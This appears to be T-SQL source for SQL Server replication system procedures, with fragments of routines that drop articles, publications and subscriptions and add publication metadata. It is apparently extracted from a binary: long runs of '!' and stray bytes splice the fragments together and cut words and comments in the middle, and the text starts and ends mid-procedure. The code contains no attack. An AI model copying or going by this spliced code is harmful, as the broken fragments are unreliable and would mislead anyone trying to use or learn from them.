        SELECT @cmd = 'drop proc ' + @filter_name
        exec (@cmd)
    END
    /*
    ** Force the article cache to be refreshed; only if needed
    */
    if ( @ignore_distributor = 0 )
        EXECUTE sys.sp_replflush

PROCEXIT:
	-- Override status and return an error if HREPL failed.
	-- Post-hrepl steps will have completed and left the distributor
	-- in a consistent state. 
	-- SPECIAL CASE: If the internal flag is set, this is part of a drop all
	-- articles.  Hold until the end by passing back @retcode > 1
	IF @hrepl = 0 AND @internal = 0
	BEGIN
		RAISERROR(21748, 16, -1, @publisher)
		SET @retcode = 1
	END
	ELSE IF @hrepl = 0 AND @internal = 1
	BEGIN
		SET @retcode = 2
	END
    RETURN (@retcode)

UNDO:
    if @@trancount > 0
    begin
        ROLLBACK TRANSACTION droparticle
        commit tran
    end
    RETURN (1)
END
Not NULL
		begin
	        exec @retcode = msdb.dbo.sp_update_job @job_name=@agentname, @enabled=1
	        if @@error <> 0 or @retcode <> 0
	            goto UNDO
		end
    end

    -- Add snapshot and logreader agent

    -- Always add a non local snapshot agent. This is to cover the case
    -- when there's no SQLServerAgent job for the snapshot agent (For example, in Access).
    -- The agent entry is needed for initance check.
    -- sp_addpublication_snapshot will drop the entry and recreat it.
    exec @retcode = sys.sp_MSadd_snapshot_agent
        @name = NULL,
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @publication_type = @publication_type,
        @publisher_type = @publisher_type,
        @local_job = 0,
        @internal = N'YUKON'
    if @@error <> 0 or @retcode <> 0
        goto UNDO

    -- If publisher_id, publisher_db pair is not in MSpublisher_databases then add it.  This will be used
    -- to store a publisher_database_id in the MSrepl_transactions and MSrepl_commands table.
    if not exists (select * from dbo.MSpublisher_databases where publisher_id = @publisher_id and
        publisher_db = @publisher_db)
    begin
        insert into dbo.MSpublisher_databases (publisher_id, publisher_db, publisher_engine_edition) 
            values (@publisher_id, @publisher_db, @publisher_engine_edition)
        if @@error <> 0
            goto UNDO
        insert into dbo.MSrepl_backup_lsns (publisher_database_id) values (@@identity)
        if @@error <> 0
            goto UNDO
    end
    --
    -- Add entries in publication threshold for this publication
    -- @publication_type int   -- 0 = Transactional 1 = Snapshot  2 = Merge
    --
    if (@publication_type in (0,1))
    begin
        -- Snapshot or transactional publication
        -- warnings are enabled by default
        insert into dbo.MSpublicationthresholds (publication_id,metric_id,value, isenabled)
            select @publication_id, metric_id, default_value, 1 
            from msdb.dbo.MSreplmonthresholdmetrics
            where metric_id = 1
        if (@publication_type = 0)
        begin
            insert into dbo.MSpublicationthresholds (publication_id,metric_id,value, isenabled)
                select @publication_id, metric_id, default_value, 1 
                from msdb.dbo.MSreplmonthresholdmetrics
                where metric_id = 2
        end
    end
    else
    begin
        -- Merge publication
        insert into dbo.MSpublicationthresholds (publication_id,metric_id,value)
            select @publication_id, metric_id, default_value 
            from msdb.dbo.MSreplmonthresholdmetrics
            where metric_id in (4,5,6,7,8)
    end
    -- Check for error in insert
    if @@error <> 0
        goto UNDO
    --
    -- Commit the transaction
    --
    commit tran
    --
    -- All done
    --
    return(0)

UNDO:
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN MSadd_publication
        COMMIT TRAN
    end
    return(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Gv'
create procedure sys.sp_MSrepl_droppublication
(
	@publication		sysname,
	@ignore_distributor	bit,
	@publisher			sysname,
	@publisher_type		sysname,
    @from_backup        bit = 0
)
AS
BEGIN
    /*
    ** Declarations.
    */

    DECLARE @article sysname
                ,@cmd nvarchar(255)
                ,@retcode int
                ,@obj_tmp int
                ,@distributor sysname
                ,@distribdb sysname
                ,@distproc nvarchar (255)
                ,@agentname nvarchar (40)
                ,@dbname sysname
                ,@virtual_id smallint
                ,@ad_guidname sysname
                ,@alt_snapshot_folder nvarchar(255)
                ,@pub_alt_snapshot_folder nvarchar(255)
                ,@qualname nvarchar(517)
                ,@logreaderAgent bit
                ,@publisher_db sysname
                ,@publisher_param sysname -- publisher given via the @publisher parameter
                -- @publisher is null for Sql publications and is replace with publishingservername()
                ,@srvname sysname
                ,@pubid int
	
	set nocount on
    SELECT @virtual_id = -1
                ,@dbname = db_name()
                ,@ad_guidname = NULL
                ,@srvname = publishingservername()
                -- Set publisher param to be case insensitive by putting it to UPPERCASE
                ,@publisher = UPPER(@publisher)

    /*
    ** Security check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    /*
    ** Parameter Check: @ignore_distributor
    ** The @publication name must conform to the rules for identifiers.
    */

    IF NOT @publisher_type = N'MSSQLSERVER' and @ignore_distributor <> 0
    BEGIN
        RAISERROR (21608, 16, -1)
        RETURN (1)
    END

	IF (@ignore_distributor = 0) or ([sys].[fn_cdc_is_db_enabled]() = 1)
	BEGIN
		/*
		** Get distribution server information for remote RPC call.
		*/
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher,
												@rpcsrvname		= @distributor OUTPUT,
												@distribdb		= @distribdb OUTPUT

		IF (@@error <> 0 OR @retcode <> 0) and (@ignore_distributor = 0) 
		BEGIN
			RAISERROR (14071, 16, -1)
			RETURN (1)
		END
	END

    IF (@publisher IS NOT NULL) AND (@publisher_type IS NULL OR @distribdb IS NULL OR @distributor IS NULL)
    BEGIN
        RAISERROR(21600, 16, -1, @publisher)
        RETURN (1)
    END

    -- Check to see if database is activated for publication
    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    -- Set distributor and db to current to check if we are dealing with het. publications
    -- We use the default distributor/distribution database to discover the heterogenous
    --  publisher's distributor/distribution database
    SELECT @publisher_param = @publisher
    if @publisher is NULL
    BEGIN
        SELECT @publisher = publishingservername()
        SELECT @publisher_db = DB_NAME()
		SELECT @publisher_type = N'MSSQLSERVER'
    END
    ELSE
    BEGIN
		SELECT @publisher_db = @distribdb
    END

   /*
    ** Parameter Check:  @publication.
    ** If the @publication is 'all', drop all publications.  Otherwise,
    ** make sure the @publication is a valid non-null identifier.
    ** Delete the logreader agent after all the publications have been 
    ** removed.
     */
    IF LOWER(@publication) = 'all'
        BEGIN
            DECLARE hC1  CURSOR LOCAL FAST_FORWARD FOR 
                SELECT DISTINCT name FROM syspublications 
                    WHERE pubid NOT IN 
                        (SELECT pubid FROM sysextendedarticlesview WHERE artid IN 
                            (SELECT artid FROM syssubscriptions WHERE srvid <> @virtual_id))
            OPEN hC1
            FETCH hC1 INTO @publication
            WHILE (@@fetch_status <> -1)
                BEGIN
                    EXECUTE sys.sp_droppublication	@publication,
													@ignore_distributor = @ignore_distributor,
													@publisher = @publisher_param,
                                                    @from_backup = @from_backup
                    FETCH hC1 INTO @publication
                END
            CLOSE hC1
            DEALLOCATE hC1
            RETURN (0)
        END

    IF @publication IS NULL
    BEGIN
        RAISERROR (14003, 16, -1)
        RETURN (1)
    END

	-- Get publication id
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END

    /*
    ** Check to make sure that there are no subscriptions on the publication.
    */

	IF EXISTS
	(
		SELECT	*
		FROM	syssubscriptions a,
				sysextendedarticlesview b,
				syspublications c
		WHERE	c.pubid = @pubid
		  AND	c.pubid = b.pubid
		  AND	b.artid = a.artid
		  AND	a.srvid <>@virtual_id
	)
	BEGIN
		RAISERROR (14005, 16, -1)
		RETURN (1)
	END

    /*
    ** Delete all articles from the publication.
    */

    EXEC @retcode = sys.sp_droparticle	@publication				= @publication, 
										@publisher					= @publisher_param,
										@article					= N'all',
										@ignore_distributor			= @ignore_distributor,
										@force_invalidate_snapshot	= 1,
										@from_drop_publication		= 1

    IF @@ERROR <> 0 OR  @retcode <> 0
        RETURN (1)

    IF @publisher_type = N'MSSQLSERVER'
    BEGIN
		select	@ad_guidname			= ad_guidname,
				@alt_snapshot_folder	= alt_snapshot_folder 
		from	 syspublications 
		where	name=@publication
    END
    --
    -- drop PAL role for the publication
    --
    exec @retcode = sys.sp_MSdroptranpalrole @pubid

    if @retcode<>0 or @@error<>0
    begin
        return 1
    end

    BEGIN TRAN tr_drop_publication
    SAVE TRAN tr_drop_publication

    /*
    ** Delete publication from syspublications.
    */

    IF @publisher_type = N'MSSQLSERVER'
    BEGIN
        DELETE FROM syspublications WHERE name = @publication

        IF @@ERROR <> 0
            GOTO UNDO
    END
    ELSE
    BEGIN
        EXEC @retcode = sys.sp_IHdroppublication
						@publisher		= @publisher,
						@publication	= @publication,
						@publisher_type	= @publisher_type,
						@ad_guidname	= @ad_guidname OUTPUT,
						@logreaderAgent	= @logreaderAgent OUTPUT

        IF @retcode <> 0 OR @@ERROR <> 0
        BEGIN
            GOTO UNDO
		END
    END

    /*
    ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
    */
    if @ignore_distributor = 0
    begin
        /*
        ** Delete sync agent of Publication if it exists.
        */
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSdrop_snapshot_agent'
        EXECUTE @retcode = @distproc 
            @publisher = @publisher,
            @publisher_db = @dbname,
            @publication = @publication

        IF @@ERROR <> 0 or @retcode <> 0
            GOTO UNDO

	end

	if ((@ignore_distributor = 0) or ([sys].[fn_cdc_is_db_enabled]() = 1)) and (@distribdb IS not NULL and  @distributor IS not NULL)
	begin
	    IF NOT EXISTS (SELECT * FROM syspublications  where repl_freq = 0)
        BEGIN
            /*
            ** Delete logreader agent, continue if drop is not successful
            */
            SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSdrop_logreader_agent'
            EXECUTE @retcode = @distproc @publisher = @publisher,
							                @publisher_db = @dbname,
							                -- 'ALL' is used in sp_addpublication.
							                @publication = 'ALL'
			--if we can not drop logreader agent when brute-force cleaning up and CDC is enabled, don't!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<GQՌ' error out, assuming CDC will be able to add a job 
            IF (@@ERROR <> 0 or @retcode <> 0) and (@ignore_distributor = 0)
                GOTO UNDO
 
			IF @publisher_type = N'MSSQLSERVER'
			BEGIN
				DECLARE @error_num	int,
						@attempts 	int
						

				SELECT @error_num = 1,
						@attempts = 0
				
				WHILE (@attempts < 5)
				BEGIN
					-- we wait a bit to give the server time to 
					-- release the logreader sessions being held
					WAITFOR DELAY '00:00:02'

					--cannot use TSQL try/catch since sp_replcmds uses ex_callprint instead of ex_raise internally
					--TSQL try/catch will just absorb the error msg without going to catch 
					EXEC @retcode = sys.sp_replcmds 0

					SELECT @error_num = @@ERROR
					
					IF @error_num = 0 AND @retcode = 0
					BEGIN
						BREAK
					END
					
					SELECT @attempts = @attempts + 1
				END -- end of while

				IF @error_num != 0 OR @retcode != 0
				BEGIN
					-- An error occurred during the execution of 'sp_droppublication'. A call to 'sp_replcmds' failed with error code: '%d', return code: '%d'.
					RAISERROR (20817, 16, 1, N'sp_droppublication', N'sp_replcmds', @error_num, @retcode)
					GOTO UNDO
				END

				set @error_num	= 1
				EXEC @retcode = sys.sp_replflush
				SELECT @error_num = @@ERROR
				IF @error_num != 0 OR @retcode != 0
				BEGIN
					-- An error occurred during the execution of 'sp_droppublication'. A call to 'sp_replflush' failed with error code: '%d', return code: '%d'.
					RAISERROR (20817, 16, 2, N'sp_droppublication', N'sp_replflush', @error_num, @retcode)
					GOTO UNDO
				END

			END	-- end of IF @publisher_type = N'MSSQLSERVER'
        END -- end of IF NOT EXISTS (SELECT * FROM syspublications  where repl_freq = 0)
	end  --end of if (@ignore_distributor = 0) or ([sys].[fn_cdc_is_db_enabled]() = 1)
	if @ignore_distributor = 0
 	begin
	    /*
        ** Delete the publication at the distribution server
        */
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + 
            '.dbo.sp_MSdrop_publication'
        EXECUTE @retcode = @distproc
            @publisher = @publisher,
            @publisher_db = @dbname,
            @publication = @publication,
            @alt_snapshot_folder = @alt_snapshot_folder
        IF @@ERROR <> 0 or @retcode <> 0
            GOTO UNDO

    end 

    -- Since we drop publisher_database_id in sp_MSdrop_publication at the distribution db when
    -- dropping the last tran (snapshot) publication, we should call repldone here to clear
    -- repl counters and lsns. This will ensure the correctness of repl counters and avoid
    -- unnecessary log scan in the logreader if it is created again after this.
    -- Ignore all errors.
    IF @publisher_type = N'MSSQLSERVER'
    BEGIN
		declare @cdc_tracked_tables table (object_id int)
		declare @cdc_table_id int

		if object_id('cdc.change_tables') is not null
		begin
			insert @cdc_tracked_tables select distinct source_object_id from cdc.change_tables
		end
    
		if not exists (select * from syspublications)
		begin
		    -- Used for attach and restored db.
		    -- sysservers table in master db might be changed so that
		    -- sp_dropsubscription won't work, which left repl bits marked in
		    -- sys.objects.
		    -- We have to unmark them before calling sp_repldone, otherwise
		    -- A new transaction updating those objects will be considered
		    -- as repl tran. It will set the truncation point to not null, which will
		    -- prevent log truncation.
		    declare @repl_bit smallint
		    select @repl_bit = 2
		    DECLARE #cur_unrepl_obj CURSOR LOCAL FAST_FORWARD FOR 
		        SELECT t.object_id, quotename(schema_name(t.schema_id))+N'.'+ quotename(t.name), c.object_id FROM sys.tables t 
						left outer join @cdc_tracked_tables c on t.object_id = c.object_id
		            WHERE is_replicated = 1
		              
		    OPEN #cur_unrepl_obj
		    FETCH #cur_unrepl_obj INTO @obj_tmp, @qualname, @cdc_table_id
		    WHILE (@@fetch_status <> -1)
		    BEGIN
				if @cdc_table_id is null
				begin
					EXEC %%Object(MultiName = @qualname).LockMatchID(ID = @obj_tmp, Exclusive = 1, BindInternal = 0)
					IF @@ERROR <> 0 GOTO BULK_UNMARK_UNDO

					EXEC %%Relation(ID = @obj_tmp).SetReplicated(Value = 0)
					IF @@ERROR <> 0 GOTO BULK_UNMARK_UNDO

				end
				FETCH #cur_unrepl_obj INTO @obj_tmp, @qualname, @cdc_table_id
				CONTINUE

	BULK_UNMARK_UNDO:
				CLOSE #cur_unrepl_obj
				DEALLOCATE #cur_unrepl_obj             
				GOTO UNDO
		    END



            CLOSE #cur_unrepl_obj
            DEALLOCATE #cur_unrepl_obj

			if not exists (select * from @cdc_tracked_tables)
			begin
				/* ensure we can get in as logreader */
				exec sys.sp_replflush

				/* clear repl dbtable fields unmark all xacts marked for replication */
				exec sys.sp_repldone NULL, NULL, 0, 0, 1

				/* release our hold on the db as logreader */
				EXEC sys.sp_replflush

				-- Run checkpoint to make sp_repldone result durable (write repl dbtable fields
				-- into the checkpoint record).
				checkpoint
			end
        end
        
        -- At this point we should have dropped the logreader agent so we check to see
        --  if CDC is enabled, if so we add the CDC job
        IF [sys].[fn_cdc_is_db_enabled]() = 1
        	and not exists (select * from syspublications where status = 1 and repl_freq = 0) -- only add this if there is no active tran pub
		BEGIN
            exec [sys].[sp_cdc_add_job] @job_type = N'capture'
        END 
    END

    -- If this is a heterogeneous publisher, signal log reader to update article cache
    IF NOT @publisher_type = N'MSSQLSERVER'
    BEGIN
        SELECT @distproc = QUOTENAME(@distribdb) + '.sys.sp_IHreplflush '
        EXEC @retcode = @distproc
		@publisher
        IF @@ERROR <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END
    END	    

	-- Cleanup PeerToPeer Metadata - do not drop table here... 
	-- drop table is performed by sp_replicationdboption false.
	EXEC @retcode = sys.sp_MScleanup_peer_metadata @type = 0, 
														@publication = @publication,
                                                        @from_backup = @from_backup
	IF @@ERROR <> 0 OR @retcode <> 0
		GOTO UNDO
	
    COMMIT TRAN tr_drop_publication

    return (0)  
    
UNDO:
    ROLLBACK TRAN tr_drop_publication
	COMMIT TRAN
	
    return(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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=NULL,	-- If null, all the subscriptions from that subscriber will be dropped
	@ignore_distributor bit = 0,
	@reserved nvarchar(10) = NULL,	-- reserved, used when calling from other system 
					-- stored procedures, it will be set to 'internal'.
					-- It should never be used directly
	@publisher sysname = NULL,
	@publisher_type		sysname
)
AS
BEGIN
    /*
    ** Declarations.
    */

    DECLARE @subscriber_bit smallint
    DECLARE @cmd nvarchar(255)
    DECLARE @srvid smallint
	DECLARE @pubid int
    DECLARE @artid int
    DECLARE @obj_tmp int
    DECLARE @retcode int
    DECLARE @internal nvarchar(10)
    DECLARE @expand_article nvarchar(10)
    DECLARE @push tinyint
    DECLARE @virtual_id smallint
    DECLARE @login_name sysname
    DECLARE @immediate_sync bit
    DECLARE @subscription_type int
    DECLARE @qualified_subscription_name nvarchar(512)
    DECLARE @sync_method tinyint
    DECLARE @concurrent tinyint
    DECLARE @concurrent_char tinyint
    DECLARE @publisher_local sysname

    /*
    ** Set local publisher value
    */
    IF @publisher IS NULL
    BEGIN
        set @publisher_local = publishingservername()
    END
    ELSE
    BEGIN
        set @publisher_local = @publisher
    END

    -- Check to see if database is activated for publication
    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    /*
    ** Initializations.
    */
    SET NOCOUNT ON
    SELECT @subscriber_bit = 4  /* Const: subscription server status */
    SELECT @push = 0        /* Const: push publication type */
    SELECT @virtual_id = -1 /* Const: virtual subscriber id */
    SELECT @internal = 'internal' /* Const: Flag of calling internally from system */
                                  /* stored procedures     */
    SELECT @expand_article = 'expand_art' 
        /* Const: Flag of calling after expand 'all' for @article  */
    SELECT @concurrent = 3
    SELECT @concurrent_char = 4

    /* 
    ** Security Check.
    ** We use login_name stored in syssubscriptions to manage security 
    */

    -- Test distributor RPC connection before open the cursor

    /*
    ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
    */
    if @ignore_distributor = 0
    begin
        declare @distributor sysname
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher  = @publisher,
												@rpcsrvname = @distributor OUTPUT
        if @@ERROR <> 0 or @retcode <> 0
            return(1)
    end

    /*
    ** If the @subscriber is 'all', the user wants to cancel all subscriptions
    ** to the specified article(s).
    */

    IF LOWER(@subscriber) = 'all'
    BEGIN
    	BEGIN TRANSACTION 
    	SAVE TRANSACTION dropallsubscriptions
    
        DECLARE hCdrop_subscription1  CURSOR LOCAL FAST_FORWARD FOR 
            SELECT DISTINCT srvname
                FROM dbo.syssubscriptions
                	where srvid <> -1 and srvname is not null and len(srvname) > 0

		-- With ANSI Defaults ON, the cursor will automatically
		-- be closed on commit.   Since this proc gets called recursively, 
		-- this can happen.  So check before opening. 
		IF CURSOR_STATUS('local','hCdrop_subscription1') = -1
			OPEN hCdrop_subscription1

        -- must owner qual proc invoke to exec inside server on restore/attach cleanup
        FETCH hCdrop_subscription1 INTO @subscriber
        WHILE (@@fetch_status <> -1)
        BEGIN
            -- We are already executing in the correct database context for both SQL Server
            -- publishers and heterogeneous publishers. sp_MSrepl_dropsubscription can be
            -- called instead of sp_dropsubscription.
            EXECUTE @retcode = sys.sp_MSrepl_dropsubscription 
                @publication = @publication,
                @article = @article,
                @subscriber  = @subscriber,
                @destination_db = 'all',
                @ignore_distributor = @ignore_distributor,
                @reserved = @reserved,
                @publisher = @publisher,
                @publisher_type = @publisher_type

			IF @retcode != 0 or @@ERROR != 0
			BEGIN
				ROLLBACK TRANSACTION dropallsubscriptions
				COMMIT TRANSACTION

				RETURN 1
			END
			
		    IF CURSOR_STATUS('local','hCdrop_subscription1') = -1
	            OPEN hCdrop_subscription1
	            FETCH hCdrop_subscription1 INTO @subscriber
        END
        
        CLOSE hCdrop_subscription1
        DEALLOCATE hCdrop_subscription1

        COMMIT TRANSACTION dropallsubscriptions
        RETURN (0)
    END

    /*
    ** Parameter Check: @subscriber.
    **
    ** Check if the server exists and that it is a subscription server.
    **
    */
    IF @subscriber IS NULL
        BEGIN
            SELECT @srvid = @virtual_id 
        END
    ELSE
        BEGIN
            /* validate name and get subscriber ID  and server status  */
            EXECUTE @retcode = sys.sp_validname @subscriber
            IF @retcode <> 0
            RETURN (1)

        END

    -- Have to check @destination_db before expanding publications and articles
    -- Otherwise, the error will not be caught because the cursor will return zero row.
    if @destination_db is not null and LOWER(@destination_db) <> 'all' 
    begin
        if not exists (select * from syssubscriptions where
            ((@subscriber is not null) and (srvname is not null and len(srvname) > 0 and srvname = UPPER(@subscriber)  )
            or ((@subscriber is null) and (srvname is null or len(srvname) = 0) and srvid = @virtual_id and @srvid = @virtual_id ) )
            and dest_db = @destination_db)
        begin
            RAISERROR (14055, 11, -1)
            RETURN (1)
        end
    end

    /*
    ** If the @publication is 'all', the user wants to cancel all subscriptions
    ** for all publications associated with the specified @subscriber.
    */

    IF LOWER(@publication) = 'all'
	BEGIN
		BEGIN TRANSACTION 
		SAVE TRANSACTION dropallsubscriptions

		DECLARE hCdrop_subscription2 CURSOR LOCAL FAST_FORWARD FOR 
		SELECT	DISTINCT a.name 
		FROM	syspublications a,
				sysextendedarticlesview b,
				syssubscriptions c 
		WHERE ((c.srvname is not null and len(c.srvname) > 0 and c.srvname = UPPER(@subscriber)  )
					or ((c.srvname is null or len(c.srvname) = 0) and c.srvid = @virtual_id))
				-- @destination_db will not be expanded before @publication is expanded.
		  AND	(
					c.dest_db = @destination_db
					OR @destination_db is null
					OR LOWER(@destination_db) = 'all'
				)
		  AND	a.pubid = b.pubid 
		  AND	b.artid = c.artid 

		OPEN hCdrop_subscription2
		FETCH hCdrop_subscription2 INTO @publication
		WHILE (@@fetch_status <> -1)
		BEGIN
			EXEC @retcode =  sys.sp_MSrepl_dropsubscription	@publication		= @publication,
														@article			= 'all',
														@subscriber			= @subscriber,
														@destination_db		= @destination_db,
														@ignore_distributor	= @ignore_distributor,
														@reserved			= @reserved,
														@publisher			= @publisher,
														@publisher_type			= @publisher_type

			IF @retcode != 0 or @@ERROR != 0
			BEGIN
				ROLLBACK TRANSACTION dropallsubscriptions
				COMMIT TRANSACTION

				RETURN 1
			END

			FETCH hCdrop_subscription2 INTO @publication
		END
		
		CLOSE hCdrop_subscription2
		DEALLOCATE hCdrop_subscription2
		
		COMMIT TRANSACTION dropallsubscriptions
		
		-- Call sp_MSrepl_dropsubscriber to drop the subscriber if there are now no subscriptions
		-- associated with the subscriber.  This call is intentionally made outside the 
		-- transaction, since a failure here should not p!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(@HD:vTrevent dropping the subscription.
		-- We will ignore all errors and not just the error returned when there are existing
		-- subscriptions and only make the call if we are not in a transaction.
		IF NOT @@trancount > 0
		BEGIN
			EXECUTE sys.sp_MSrepl_dropsubscriber	@subscriber = @subscriber,
													@publisher = @publisher,
													@ignore_distributor = @ignore_distributor,
													@noraise = 1,
													@reserved = NULL
		END

		RETURN (0)
	END

    /*
    ** Parameter Check: @publication.
    ** Check to make sure that the publication exists and that it conforms
    ** to the rules for identifiers.
    */

    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_dropsubscription')
        RETURN (1)
    END

    --
    -- Verify publication exists
    --
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END

    /* Get subscription type of the publication */
	SELECT	@immediate_sync	= immediate_sync,
			@sync_method	= sync_method
	FROM	syspublications
	WHERE	pubid = @pubid

    /*
    ** Parameter Check:  @article
    */

    /* @article can not be null     */
    IF @article IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_dropsubscription')
            RETURN (1)
        END


    /* 
    ** If publication is of concurrent sync, then all articles must
    ** be unsubscribed to
    */
    /*IF @sync_method in (@concurrent, @concurrent_char) AND
       LOWER(@article) != 'all' AND
       @reserved NOT IN( @expand_article, @internal )
    BEGIN
        RAISERROR( 14102, 16, -1 )
        RETURN (1)
    END*/

    /** For immediate_sync publication, @article has to be 'all'     */
    -- Relax this constraint since users will need to do this before dropping
    -- an article
    /*
    IF @reserved <> @internal AND @reserved <> @expand_article
        AND @immediate_sync = 1
        AND NOT LOWER(@article) = 'all'
        BEGIN
            RAISERROR (14122, 16, -1)
            RETURN (1)
        END
    */

    /*
    ** If the @article is 'all', the user wants to cancel all
    ** subscriptions on this publisher associated with the given @subscriber
    ** and @publication.
    */

    IF LOWER(@article) = 'all'
	BEGIN
		/* Make the operation automic for immediate_sync publications */
		BEGIN TRANSACTION 
		SAVE TRANSACTION dropallsubscriptions

		IF @reserved IS NULL
			SELECT @reserved = @expand_article

		DECLARE hCdrop_subscription3  CURSOR LOCAL FAST_FORWARD FOR
		SELECT	DISTINCT art.name 
		FROM	sysextendedarticlesview art,
				syssubscriptions sub,
				syspublications pub 
		WHERE	 ((sub.srvname is not null and len(sub.srvname) > 0 and sub.srvname = UPPER(@subscriber)  )
				or ((sub.srvname is null or len(sub.srvname) = 0 )and sub.srvid = @virtual_id))
				-- @destination_db will not be expanded before @article is expanded.
		  AND	(
					((@destination_db = N'%') OR (sub.dest_db = @destination_db))   OR
					@destination_db IS NULL         OR
					LOWER(@destination_db) = 'all'
				)
		  AND	sub.artid = art.artid
		  AND	art.pubid = pub.pubid
		  AND	pub.pubid = @pubid

		OPEN hCdrop_subscription3
		FETCH hCdrop_subscription3 INTO @article

		WHILE (@@fetch_status <> -1)
		BEGIN
			EXECUTE @retcode =	sys.sp_MSrepl_dropsubscription
								@publication			= @publication,
								@article			= @article,
								@subscriber			= @subscriber,
								@destination_db		= @destination_db,
								@ignore_distributor	= @ignore_distributor,
								@reserved			= @reserved,
								@publisher			= @publisher,
								@publisher_type			= @publisher_type

			IF @retcode != 0 or @@ERROR != 0
			BEGIN
				ROLLBACK TRANSACTION dropallsubscriptions
				COMMIT TRANSACTION

				RETURN 1
			END
			
			FETCH hCdrop_subscription3 INTO @article
		END

		CLOSE hCdrop_subscription3
		DEALLOCATE hCdrop_subscription3

		COMMIT TRANSACTION dropallsubscriptions
		
		-- Call sp_MSrepl_dropsubscriber to drop the subscriber if there are now no subscriptions
		-- associated with the subscriber.  This call is intentionally made outside the 
		-- transaction, since a failure here should not prevent dropping the subscription.
		-- We will ignore all errors and not just the error returned when there are existing
		-- subscriptions and only make the call if we are not in a transaction.
		IF NOT @@trancount > 0
		BEGIN
			EXECUTE sys.sp_MSrepl_dropsubscriber	@subscriber = @subscriber,
													@publisher = @publisher,
													@ignore_distributor = @ignore_distributor,
													@noraise = 1,
													@reserved = NULL
		END

		RETURN (0)
	END

    /*
    ** Parameter Check: @article
    ** Check if the article exists.
    */

	SELECT	@artid = artid
	FROM	sysextendedarticlesview art,
			syspublications pub
	WHERE	art.name  = @article
